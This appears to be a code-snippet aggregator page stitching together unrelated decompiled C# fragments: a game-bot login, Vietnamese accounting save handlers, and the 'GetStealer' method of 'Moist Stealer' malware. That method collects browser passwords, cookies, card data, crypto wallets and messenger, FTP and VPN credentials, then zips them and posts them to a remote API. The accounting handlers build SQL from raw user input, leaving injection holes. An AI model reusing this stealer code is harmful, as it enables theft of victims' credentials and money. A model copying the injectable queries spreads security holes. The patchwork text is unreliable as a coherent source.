private void method_0()
 {
     base.Visibility = Visibility.Hidden;
     if (!CommandLine.Arguments.Exists("noupdate") && !GlobalSettings.Instance.DisableUpdateCheck)
     {
         try
         {
             Class12.smethod_5();
         }
         catch (Exception exception)
         {
             ilog_0.Error("An error occured while checking for updates.", exception);
         }
     }
     if (!Class12.smethod_1(GlobalSettings.Instance.AuthRegion, GlobalSettings.Instance.LoginKey))
     {
         MessageBox.Show(string.Format("There was an error authenticating your key with the server. Please try again or use a different key.{0}{0}{1}", Environment.NewLine, Class12.string_0), "Hearthbuddy", MessageBoxButton.OK, MessageBoxImage.Hand);
     }
     else
     {
         Class12.smethod_3();
         Application.Current.MainWindow = this.mainWindow_0;
         this.mainWindow_0.Visibility   = Visibility.Visible;
         this.mainWindow_0.Show();
         this.mainWindow_0 = null;
         base.Close();
         this.NeedsToShow = false;
     }
 }
Exemple #2
0
        private void btn_Save_Click(object sender, EventArgs e)
        {
            DataSet set;

            if (DateTime.Parse(Class7.smethod_19()).Subtract(DateTime.ParseExact(this.Txt_TranDate.Text, "dd/MM/yyyy", null)).TotalDays < 0.0)
            {
                Class7.ShowMessageBox("Ng\x00e0y hiệu lực kh\x00f4ng thể chọn trong tương lai", 1);
                this.Txt_TranDate.Focus();
                return;
            }
            if (this.Txt_Voucher.Text == string.Empty)
            {
                Class7.ShowMessageBox("Bạn chưa khai b\x00e1o số chứng từ", 1);
                this.Txt_Voucher.Focus();
                return;
            }
            if (this.Txt_Remark.Text == string.Empty)
            {
                Class7.ShowMessageBox("Bạn chưa khai b\x00e1o diễn giải giao dịch", 1);
                this.Txt_Remark.Focus();
                return;
            }
            if (Class7.ParseDoubleValue(this.Txt_Amount.Text) <= 0.0)
            {
                Class7.ShowMessageBox("Số tiền kh\x00f4ng hợp lệ", 1);
                this.Txt_Amount.Focus();
                return;
            }
            string str3  = string.Format("{0:MM/dd/yyyy}", this.Txt_TranDate.EditValue);
            string str4  = this.Txt_Voucher.Text.Trim();
            string str5  = this.Txt_DbAccId.EditValue.ToString();
            double num   = Class7.ParseDoubleValue(this.Txt_Amount.Text);
            double num2  = Class7.ParseDoubleValue(this.Txt_Amount.Text);
            string str6  = this.Txt_CreAccId.EditValue.ToString();
            string str7  = this.Txt_Remark.Text.Trim();
            string str8  = this.Txt_Name.Text.Trim();
            string str9  = this.Txt_Address.Text.Trim();
            string str10 = this.Txt_PsId.Text.Trim();
            string str2  = this.Txt_TransNum.Text.Trim();
            string str   = this.string_0;

            switch (str)
            {
            case null:
                goto Label_0610;

            case "N":
                break;

            default:
            {
                if (!(str == "E"))
                {
                    goto Label_0610;
                }
                if (Class7.ShowMessageBox("Bạn c\x00f3 chắc chắn kh\x00f4ng ?", 2) != 1)
                {
                    return;
                }
                this.RrqIxZxw5(this, new EventArgs());
                this.string_1           = "select account_id, db_amount, cr_amount from tblAccTrans where trans_num = '" + this.Txt_TransNum.Text.Trim() + "'";
                this.oleDbDataAdapter_0 = new OleDbDataAdapter(this.string_1, this.oleDbConnection_0);
                using (DataTable table = new DataTable())
                {
                    this.oleDbDataAdapter_0.Fill(table);
                    foreach (DataRow row in table.Rows)
                    {
                        this.string_1           = string.Concat(new object[] { "update tblAccount set debamt = debamt - ", row["db_amount"], ",creamt = creamt - ", row["db_amount"], " where account_id = '", row["account_id"], "'" });
                        this.oleDbDataAdapter_0 = new OleDbDataAdapter(this.string_1, this.oleDbConnection_0);
                        using (set = new DataSet())
                        {
                            this.oleDbDataAdapter_0.Fill(set);
                            this.oleDbConnection_0.Close();
                            continue;
                        }
                    }
                }
                this.string_1           = "delete from tblAccTrans where trans_num = '" + this.Txt_TransNum.Text.Trim() + "'";
                this.oleDbDataAdapter_0 = new OleDbDataAdapter(this.string_1, this.oleDbConnection_0);
                using (set = new DataSet())
                {
                    this.oleDbDataAdapter_0.Fill(set);
                    this.oleDbConnection_0.Close();
                }
                Class12.smethod_3(str2, str3, str4, str5, num, 0.0, str6, str7, 1);
                Class12.smethod_2(str5, num, true);
                Class12.smethod_3(str2, str3, str4, str6, 0.0, num2, str5, str7, 2);
                Class12.smethod_2(str6, num2, false);
                this.string_1           = "update tblAccTrans set name = N'" + str8 + "', address = N'" + str9 + "', person_id = '" + str10 + "', voucher =  '" + str4 + "' where trans_num = '" + this.Txt_TransNum.Text.Trim() + "'";
                this.oleDbDataAdapter_0 = new OleDbDataAdapter(this.string_1, this.oleDbConnection_0);
                using (set = new DataSet())
                {
                    this.oleDbDataAdapter_0.Fill(set);
                    this.oleDbConnection_0.Close();
                    goto Label_0610;
                }
            }
            }
            this.RrqIxZxw5(this, new EventArgs());
            Class12.smethod_3(str2, str3, str4, str5, num, 0.0, str6, str7, 1);
            Class12.smethod_2(str5, num, true);
            Class12.smethod_3(str2, str3, str4, str6, 0.0, num2, str5, str7, 2);
            Class12.smethod_2(str6, num2, false);
            this.string_1           = "update tblAccTrans set name = N'" + str8 + "', address = N'" + str9 + "', person_id = '" + str10 + "' where trans_num = '" + this.Txt_TransNum.Text.Trim() + "'";
            this.oleDbDataAdapter_0 = new OleDbDataAdapter(this.string_1, this.oleDbConnection_0);
            using (set = new DataSet())
            {
                this.oleDbDataAdapter_0.Fill(set);
                this.oleDbConnection_0.Close();
            }
            new Class6().ComputeTransnum("A");
Label_0610:
            Class6.transNum = this.Txt_TransNum.Text.Trim();
            Class7.CreateReportInstance(Class6.string_3).ShowPreviewDialog();
        }
Exemple #3
0
 public static void GetStealer()
 {
     try
     {
         Directory.CreateDirectory(Help.Moist_Dir);
         Directory.CreateDirectory(Help.Browsers);
         Directory.CreateDirectory(Help.Passwords);
         Directory.CreateDirectory(Help.Autofills);
         Directory.CreateDirectory(Help.Downloads);
         Directory.CreateDirectory(Help.Cookies);
         Directory.CreateDirectory(Help.History);
         Directory.CreateDirectory(Help.Cards);
         File.SetAttributes(Help.dir, FileAttributes.Hidden | FileAttributes.System | FileAttributes.Directory);
         GetFiles.Inizialize(Help.Moist_Dir);
         Thread.Sleep(new Random(Environment.TickCount).Next(10000, 20000));
         try
         {
             Class4.smethod_0(Help.Cookies);
         }
         catch
         {
         }
         try
         {
             Class4.PlqfdbrYf(Help.Passwords);
         }
         catch
         {
         }
         try
         {
             Class4.smethod_2(Help.Autofills);
         }
         catch
         {
         }
         try
         {
             Class4.smethod_3(Help.Downloads);
         }
         catch
         {
         }
         try
         {
             Class4.smethod_4(Help.History);
         }
         catch
         {
         }
         try
         {
             Class4.smethod_1(Help.Cards);
         }
         catch
         {
         }
         try
         {
             Class12.smethod_2();
         }
         catch
         {
         }
         try
         {
             Class12.smethod_3();
         }
         catch
         {
         }
         try
         {
             Class25.smethod_0(Help.Moist_Dir);
         }
         catch
         {
         }
         try
         {
             Class15.smethod_0(Help.Moist_Dir);
         }
         catch
         {
         }
         try
         {
             Class24.smethod_0(Help.Moist_Dir);
         }
         catch
         {
         }
         try
         {
             Class23.smethod_0(Help.Moist_Dir);
         }
         catch
         {
         }
         try
         {
             Class20.smethod_0(Help.Moist_Dir);
         }
         catch
         {
         }
         try
         {
             TGrabber.Start(Help.Moist_Dir);
         }
         catch
         {
         }
         try
         {
             Class14.smethod_0(Help.Moist_Dir);
         }
         catch
         {
         }
         try
         {
             Class21.smethod_0(Help.Moist_Dir);
         }
         catch
         {
         }
         try
         {
             Class13.smethod_0(Help.Moist_Dir);
         }
         catch
         {
         }
         try
         {
             Class22.smethod_0(Help.Moist_Dir);
         }
         catch
         {
         }
         try
         {
             Class16.smethod_0(Help.Moist_Dir);
         }
         catch
         {
         }
         try
         {
             Class17.smethod_0(Help.Moist_Dir);
         }
         catch
         {
         }
         try
         {
             Class37.smethod_0(Help.Moist_Dir);
         }
         catch
         {
         }
         try
         {
             DomainDetect.Start(Help.Browsers);
         }
         catch
         {
         }
         string text = string.Concat(new string[]
         {
             Help.dir,
             "\\",
             Help.HWID,
             Help.smethod_0(),
             ".zip"
         });
         using (ZipFile zipFile = new ZipFile(Encoding.GetEncoding("cp866")))
         {
             zipFile.CompressionLevel = 9;
             zipFile.Comment          = string.Concat(new string[]
             {
                 "Moist Stealer. Build 1.1\n<---------------------------------------->\nPC:",
                 Environment.MachineName,
                 "/",
                 Environment.UserName,
                 "\nIP: ",
                 Help.IP,
                 Help.Country(),
                 "\nHWID: ",
                 Help.HWID
             });
             zipFile.AddDirectory(Help.Moist_Dir ?? "");
             zipFile.Save(text ?? "");
         }
         string text2 = text ?? "";
         byte[] file  = File.ReadAllBytes(text2);
         string url   = string.Concat(new string[]
         {
             Help.ApiUrl,
             "?id=",
             Class1.string_0,
             "&caption=",
             "⚡️ Moist Stealer Gate detected new log! ⚡️\n",
             "\ud83d\udd25 User: "******"/",
             Environment.UserName,
             " \ud83d\udd25\n",
             "\ud83c\udf0d IP: " + Help.IP,
             " ",
             Help.Country(),
             "\n\n",
             string.Concat(new string[]
             {
                 "\n\ud83c\udf10 Browsers Data\nPasswords: ",
                 (Class4.int_0 + Class10.int_0 + Class12.EeFrnHmbxo).ToString(),
                 "\nCookies: ",
                 (Class4.int_3 + Class12.int_0).ToString(),
                 "\nHistory: ",
                 Class4.int_4.ToString(),
                 "\nAutofill: ",
                 Class4.int_1.ToString(),
                 "\nCC:  ",
                 Class4.int_5.ToString(),
                 "\n"
             }),
             string.Concat(new string[]
             {
                 "\n\ud83d\udcb6 Wallets: ",
                 (Class37.int_0 > 0) ? "Yes" : "No",
                 (Class31.int_0 > 0) ? " Electrum" : "",
                 (Class26.int_0 > 0) ? " Armory" : "",
                 (Class27.int_0 > 0) ? " Atomic" : "",
                 (Class28.int_0 > 0) ? " BitcoinCore" : "",
                 (Class29.int_0 > 0) ? " Bytecoin" : "",
                 (Class30.int_0 > 0) ? " DashCore" : "",
                 (Class32.int_0 > 0) ? " Ethereum" : "",
                 (Class33.int_0 > 0) ? " Exodus" : "",
                 (Class35.int_0 > 0) ? " LitecoinCore" : "",
                 (Class36.int_0 > 0) ? " Monero" : "",
                 (Class38.int_0 > 0) ? " Zcash" : "",
                 (Class34.int_0 > 0) ? " Jaxx" : "",
                 "\n\n\ud83e\uddf2 Grabbed files: ",
                 GetFiles.count.ToString(),
                 "\n\ud83d\udcac Discord: ",
                 (Class14.int_0 > 0) ? "Yes" : "No",
                 "\n\ud83d\udee9 Telegram: ",
                 (TGrabber.count > 0) ? "Yes" : "No",
                 "\n\ud83d\udca1 Jabber: ",
                 (Class20.int_0 + Class18.int_0 > 0) ? "Yes" : "No",
                 (Class18.int_0 > 0) ? (" Pidgin (" + Class18.uGwrzbZsuw.ToString() + ")") : "",
                 (Class20.int_0 > 0) ? " Psi" : "",
                 "\n\n\ud83d\udce1 FTP\nFileZilla: ",
                 (Class16.int_0 > 0) ? ("Yes (" + Class16.int_0.ToString() + ")") : "No",
                 "\nTotalCmd: ",
                 (Class17.int_0 > 0) ? "Yes" : "No",
                 "\n\n⚖️ VPN\nNordVPN: ",
                 (Class23.int_0 > 0) ? "Yes" : "No",
                 "\nOpenVPN: ",
                 (Class24.int_0 > 0) ? "Yes" : "No",
                 "\nProtonVPN: ",
                 (Class25.int_0 > 0) ? "Yes" : "No",
                 "\n\nHWID: ",
                 Help.HWID,
                 "\n⚙️ ",
                 Class22.smethod_4(),
                 "\n\ud83d\udd0e Domain detect",
                 File.ReadAllText(Help.Browsers + "\\DomainDetect.txt")
             })
         });
         SenderAPI.POST(file, text2, "application/x-ms-dos-executable", url);
         Directory.Delete(Help.dir + "\\", true);
         File.AppendAllText(Help.LocalData + "\\" + Help.HWID, Help.HWID);
     }
     catch
     {
     }
 }
        private void btn_Save_Click(object sender, EventArgs e)
        {
            DataSet set;

            if (DateTime.Parse(Class7.smethod_19()).Subtract(DateTime.ParseExact(this.Txt_TranDate.Text, "dd/MM/yyyy", null)).TotalDays < 0.0)
            {
                Class7.ShowMessageBox("Ng\x00e0y hiệu lực kh\x00f4ng thể chọn trong tương lai", 1);
                this.Txt_TranDate.Focus();
                return;
            }
            if (this.Txt_Voucher.Text == string.Empty)
            {
                Class7.ShowMessageBox("Bạn chưa khai b\x00e1o số chứng từ", 1);
                this.Txt_Voucher.Focus();
                return;
            }
            if (this.Txt_Remark.Text == string.Empty)
            {
                Class7.ShowMessageBox("Bạn chưa khai b\x00e1o diễn giải giao dịch", 1);
                this.Txt_Remark.Focus();
                return;
            }
            if (Class7.ParseDoubleValue(this.Txt_Amount.Text) <= 0.0)
            {
                Class7.ShowMessageBox("Số tiền kh\x00f4ng hợp lệ", 1);
                this.Txt_Amount.Focus();
                return;
            }
            string str   = string.Format("{0:MM/dd/yyyy}", this.Txt_TranDate.EditValue);
            string str2  = this.Txt_Voucher.Text.Trim();
            string str3  = this.Txt_DbAccId.EditValue.ToString();
            double num   = Class7.ParseDoubleValue(this.Txt_Amount.Text);
            double num2  = Class7.ParseDoubleValue(this.Txt_Amount.Text);
            string str4  = this.Txt_CreAccId.EditValue.ToString();
            string str5  = this.Txt_Remark.Text.Trim();
            string str6  = this.Txt_Payer.Text.Trim();
            string str7  = this.Txt_PayAccId.Text.Trim();
            string str8  = this.Txt_PayerBank.Text.Trim();
            string str9  = this.Txt_PayerBranch.Text.Trim();
            string str10 = this.Txt_Beneficiary.Text.Trim();
            string str11 = this.Txt_BenAccId.Text.Trim();
            string str12 = this.Txt_BenBank.Text.Trim();
            string str13 = this.Txt_BenBranch.Text.Trim();
            double num3  = Class7.ParseDoubleValue(this.Txt_Amount.Text);
            string str14 = this.Txt_TransNum.Text.Trim();
            string str15 = this.IjSwogAv6;

            switch (str15)
            {
            case null:
                goto Label_0740;

            case "N":
                break;

            default:
            {
                if (!(str15 == "E"))
                {
                    goto Label_0740;
                }
                if (Class7.ShowMessageBox("Bạn c\x00f3 chắc chắn kh\x00f4ng ?", 2) != 1)
                {
                    return;
                }
                this.iWyIskLbe(this, new EventArgs());
                this.string_0           = "select account_id, db_amount, cr_amount from tblAccTrans where trans_num = '" + this.Txt_TransNum.Text.Trim() + "'";
                this.oleDbDataAdapter_0 = new OleDbDataAdapter(this.string_0, this.oleDbConnection_0);
                using (DataTable table = new DataTable())
                {
                    this.oleDbDataAdapter_0.Fill(table);
                    foreach (DataRow row in table.Rows)
                    {
                        this.string_0           = string.Concat(new object[] { "update tblAccount set debamt = debamt - ", row["db_amount"], ",creamt = creamt - ", row["db_amount"], " where account_id = '", row["account_id"], "'" });
                        this.oleDbDataAdapter_0 = new OleDbDataAdapter(this.string_0, this.oleDbConnection_0);
                        using (set = new DataSet())
                        {
                            this.oleDbDataAdapter_0.Fill(set);
                            this.oleDbConnection_0.Close();
                            continue;
                        }
                    }
                }
                this.string_0           = "delete from tblAccTrans where trans_num = '" + this.Txt_TransNum.Text.Trim() + "'";
                this.oleDbDataAdapter_0 = new OleDbDataAdapter(this.string_0, this.oleDbConnection_0);
                using (set = new DataSet())
                {
                    this.oleDbDataAdapter_0.Fill(set);
                    this.oleDbConnection_0.Close();
                }
                Class12.smethod_3(str14, str, str2, str3, num, 0.0, str4, str5, 1);
                Class12.smethod_2(str3, num, true);
                Class12.smethod_3(str14, str, str2, str4, 0.0, num2, str3, str5, 2);
                Class12.smethod_2(str4, num2, false);
                this.string_0 = string.Concat(new object[] {
                        "UPDATE    tblPaymentOrder SET payer =N'", str6, "', payer_acc ='", str7, "', payer_bank =N'", str8, "', payer_branch =N'", str9, "', benef =N'", str10, "', benef_acc ='", str11, "',benef_bank =N'", str12, "', benef_branch =N'", str13,
                        "', amount = ", num3, " WHERE trans_num = '", this.Txt_TransNum.Text.Trim(), "' "
                    });
                this.oleDbDataAdapter_0 = new OleDbDataAdapter(this.string_0, this.oleDbConnection_0);
                using (set = new DataSet())
                {
                    this.oleDbDataAdapter_0.Fill(set);
                    this.oleDbConnection_0.Close();
                    goto Label_0740;
                }
            }
            }
            this.iWyIskLbe(this, new EventArgs());
            Class12.smethod_3(str14, str, str2, str3, num, 0.0, str4, str5, 1);
            Class12.smethod_2(str3, num, true);
            Class12.smethod_3(str14, str, str2, str4, 0.0, num2, str3, str5, 2);
            Class12.smethod_2(str4, num2, false);
            this.string_0 = string.Concat(new object[] {
                "INSERT INTO tblPaymentOrder (trans_num, payer, payer_acc, payer_bank, payer_branch, benef, benef_acc, benef_bank, benef_branch, amount) VALUES ('", this.Txt_TransNum.Text.Trim(), "',N'", str6, "','", str7, "',N'", str8, "',N'", str9, "',N'", str10, "','", str11, "',N'", str12,
                "',N'", str13, "',", num3, ") "
            });
            this.oleDbDataAdapter_0 = new OleDbDataAdapter(this.string_0, this.oleDbConnection_0);
            using (set = new DataSet())
            {
                this.oleDbDataAdapter_0.Fill(set);
                this.oleDbConnection_0.Close();
            }
            new Class6().ComputeTransnum("A");
Label_0740:
            Class6.transNum = this.Txt_TransNum.Text.Trim();
            Class7.CreateReportInstance(Class6.string_3).ShowPreviewDialog();
        }
Exemple #5
0
 private void btn_Save_Click(object sender, EventArgs e)
 {
     if (DateTime.Parse(Class7.smethod_19()).Subtract(DateTime.ParseExact(this.Txt_TranDate.Text, "dd/MM/yyyy", null)).TotalDays < 0.0)
     {
         Class7.ShowMessageBox("Ng\x00e0y hiệu lực kh\x00f4ng thể chọn trong tương lai", 1);
         this.Txt_TranDate.Focus();
     }
     else if (this.Txt_Voucher.Text == string.Empty)
     {
         Class7.ShowMessageBox("Bạn chưa khai b\x00e1o số chứng từ", 1);
         this.Txt_Voucher.Focus();
     }
     else if (this.Txt_Remark.Text == string.Empty)
     {
         Class7.ShowMessageBox("Bạn chưa khai b\x00e1o diễn giải giao dịch", 1);
         this.Txt_Remark.Focus();
     }
     else if (Class7.ParseDoubleValue(this.Txt_CreAmt1.Text) <= 0.0)
     {
         Class7.ShowMessageBox("Số tiền kh\x00f4ng hợp lệ", 1);
         this.Txt_CreAmt1.Focus();
     }
     else if (this.Lbl_DebAccName.Text == string.Empty)
     {
         Class7.ShowMessageBox("T\x00e0i khoản ghi nợ kh\x00f4ng hợp lệ", 1);
         this.Txt_DebAccId.Focus();
     }
     else
     {
         string str = this.string_0;
         if ((str != null) && (str == "N"))
         {
             this.btn_Skip_Click(this, new EventArgs());
             string str3 = string.Format("{0:MM/dd/yyyy}", this.Txt_TranDate.EditValue);
             string str4 = this.Txt_Voucher.Text.Trim();
             string str5 = this.Txt_DebAccId.EditValue.ToString();
             double num2 = Class7.ParseDoubleValue(this.Txt_CreAmt1.Text);
             double num3 = Class7.ParseDoubleValue(this.Txt_CreAmt2.Text);
             double num  = Class7.ParseDoubleValue(this.Txt_CreAmt3.Text);
             string str6 = this.Txt_Remark.Text.Trim();
             string str2 = this.Txt_TransNum.Text.Trim();
             Class12.smethod_3(str2, str3, str4, str5, num2, 0.0, this.Txt_CreAccId1.EditValue.ToString(), str6, 2);
             Class12.smethod_3(str2, str3, str4, this.Txt_CreAccId1.EditValue.ToString(), 0.0, num2, str5, str6, 1);
             if ((num3 > 0.0) && (this.Lbl_CreAccName2.Text != string.Empty))
             {
                 Class12.smethod_3(str2, str3, str4, str5, num3, 0.0, this.Txt_CreAccId2.EditValue.ToString(), str6, 4);
                 Class12.smethod_3(str2, str3, str4, this.Txt_CreAccId2.EditValue.ToString(), 0.0, num3, str5, str6, 3);
             }
             if ((num > 0.0) && (this.Lbl_CreAccName3.Text != string.Empty))
             {
                 Class12.smethod_3(str2, str3, str4, str5, num, 0.0, this.Txt_CreAccId2.EditValue.ToString(), str6, 6);
                 Class12.smethod_3(str2, str3, str4, this.Txt_CreAccId2.EditValue.ToString(), 0.0, num, str5, str6, 5);
             }
             Class12.smethod_2(this.Txt_CreAccId1.EditValue.ToString(), num2, false);
             Class12.smethod_2(this.Txt_CreAccId2.EditValue.ToString(), num3, false);
             Class12.smethod_2(this.Txt_CreAccId3.EditValue.ToString(), num, false);
             Class12.smethod_2(this.Txt_DebAccId.EditValue.ToString(), Class7.ParseDoubleValue(this.Lbl_DebitAmt.Text), true);
             new Class6().ComputeTransnum("A");
         }
         Class6.transNum = this.Txt_TransNum.Text.Trim();
         Class7.CreateReportInstance(Class6.string_3).ShowPreviewDialog();
     }
 }
Exemple #6
0
        // Token: 0x060001EF RID: 495 RVA: 0x0000F438 File Offset: 0x0000D638
        public static void smethod_0()
        {
            string text  = string.Empty;
            string text2 = Class12.smethod_3();

            try
            {
                foreach (string text3 in GClass9.string_20)
                {
                    if (text3.Contains("Google Chrome"))
                    {
                        object value = Registry.GetValue("HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\App Paths\\chrome.exe", "", null);
                        if (value != null)
                        {
                            text = FileVersionInfo.GetVersionInfo(value.ToString()).FileVersion;
                        }
                        else
                        {
                            value = Registry.GetValue("HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\App Paths\\chrome.exe", "", null);
                            text  = FileVersionInfo.GetVersionInfo(value.ToString()).FileVersion;
                        }
                        if (Environment.Is64BitOperatingSystem)
                        {
                            Class23.list_0.Add(string.Concat(new string[]
                            {
                                "Mozilla/5.0 (",
                                text2,
                                "; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/",
                                text,
                                " Safari/537.36"
                            }));
                        }
                        else
                        {
                            Class23.list_0.Add(string.Concat(new string[]
                            {
                                "Mozilla/5.0 (",
                                text2,
                                ") AppleWebKit/537.36 (KHTML, like Gecko) Chrome/",
                                text,
                                " Safari/537.36"
                            }));
                        }
                    }
                    if (text3.Contains("Mozilla Firefox"))
                    {
                        object value2 = Registry.GetValue("HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\App Paths\\firefox.exe", "", null);
                        if (value2 != null)
                        {
                            text = FileVersionInfo.GetVersionInfo(value2.ToString()).FileVersion;
                        }
                        else
                        {
                            value2 = Registry.GetValue("HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\App Paths\\firefox.exe", "", null);
                            text   = FileVersionInfo.GetVersionInfo(value2.ToString()).FileVersion;
                        }
                        string text4 = string.Empty;
                        text4 = text.Split(new char[]
                        {
                            '.'
                        }).First <string>() + "." + text.Split(new char[]
                        {
                            '.'
                        })[1];
                        if (Environment.Is64BitOperatingSystem)
                        {
                            Class23.list_0.Add(string.Concat(new string[]
                            {
                                "Mozilla/5.0 (",
                                text2,
                                "; Win64; x64; rv:",
                                text4,
                                ") Gecko/20100101 Firefox/",
                                text4
                            }));
                        }
                        else
                        {
                            Class23.list_0.Add(string.Concat(new string[]
                            {
                                "Mozilla/5.0 (",
                                text2,
                                "; rv:",
                                text4,
                                ") Gecko/20100101 Firefox/",
                                text4
                            }));
                        }
                    }
                }
            }
            catch
            {
            }
        }
Exemple #7
0
 private void btn_Save_Click(object sender, EventArgs e)
 {
     if (this.Txt_Voucher.Text == string.Empty)
     {
         Class7.ShowMessageBox("Bạn chưa khai b\x00e1o số chứng từ", 1);
         this.Txt_Voucher.Focus();
     }
     else if (this.Lbl_DbAccName.Text == string.Empty)
     {
         Class7.ShowMessageBox("Số t\x00e0i khoản kh\x00f4ng hợp lệ", 1);
         this.Txt_Account.Focus();
     }
     else if (this.Txt_Remark.Text == string.Empty)
     {
         Class7.ShowMessageBox("Bạn chưa khai b\x00e1o diễn giải giao dịch", 1);
         this.Txt_Remark.Focus();
     }
     else if (DateTime.Parse(Class7.smethod_19()).Subtract(DateTime.ParseExact(this.Txt_TranDate.Text, "dd/MM/yyyy", null)).TotalDays < 0.0)
     {
         Class7.ShowMessageBox("Ng\x00e0y hiệu lực kh\x00f4ng thể chọn trong tương lai", 1);
         this.Txt_TranDate.Focus();
     }
     else
     {
         string str2 = string.Format("{0:MM/dd/yyyy}", this.Txt_TranDate.EditValue);
         string str3 = this.Txt_Voucher.Text.Trim();
         string str4 = this.Txt_Account.EditValue.ToString();
         double num  = Class7.ParseDoubleValue(this.Txt_Amount.Text);
         double num2 = 0.0;
         string str5 = string.Empty;
         string str6 = this.Txt_Remark.Text.Trim();
         string str  = this.Txt_TransNum.Text.Trim();
         int    num3 = 1;
         if (num <= 0.0)
         {
             Class7.ShowMessageBox("Số tiền kh\x00f4ng hợp lệ", 1);
             this.Txt_Amount.Focus();
         }
         else
         {
             string str7 = this.string_1;
             if (str7 != null)
             {
                 if (!(str7 == "N"))
                 {
                     if (str7 == "E")
                     {
                         if (Class7.ShowMessageBox("Bạn c\x00f3 chắc chắn kh\x00f4ng ?", 2) != 1)
                         {
                             return;
                         }
                         this.btn_Skip_Click(this, new EventArgs());
                         Class12.smethod_5(str4, this.Txt_TransNum.Text.Trim(), num, str6, true);
                         Class12.smethod_4(str4, this.double_0, true);
                         Class12.smethod_2(str4, num, true);
                     }
                 }
                 else
                 {
                     this.btn_Skip_Click(this, new EventArgs());
                     Class12.smethod_3(str, str2, str3, str4, num, num2, str5, str6, num3);
                     new Class6().ComputeTransnum("A");
                     Class12.smethod_2(str4, num, true);
                 }
             }
             Class6.transNum = this.Txt_TransNum.Text.Trim();
             Class7.CreateReportInstance(Class6.string_3).ShowPreviewDialog();
         }
     }
 }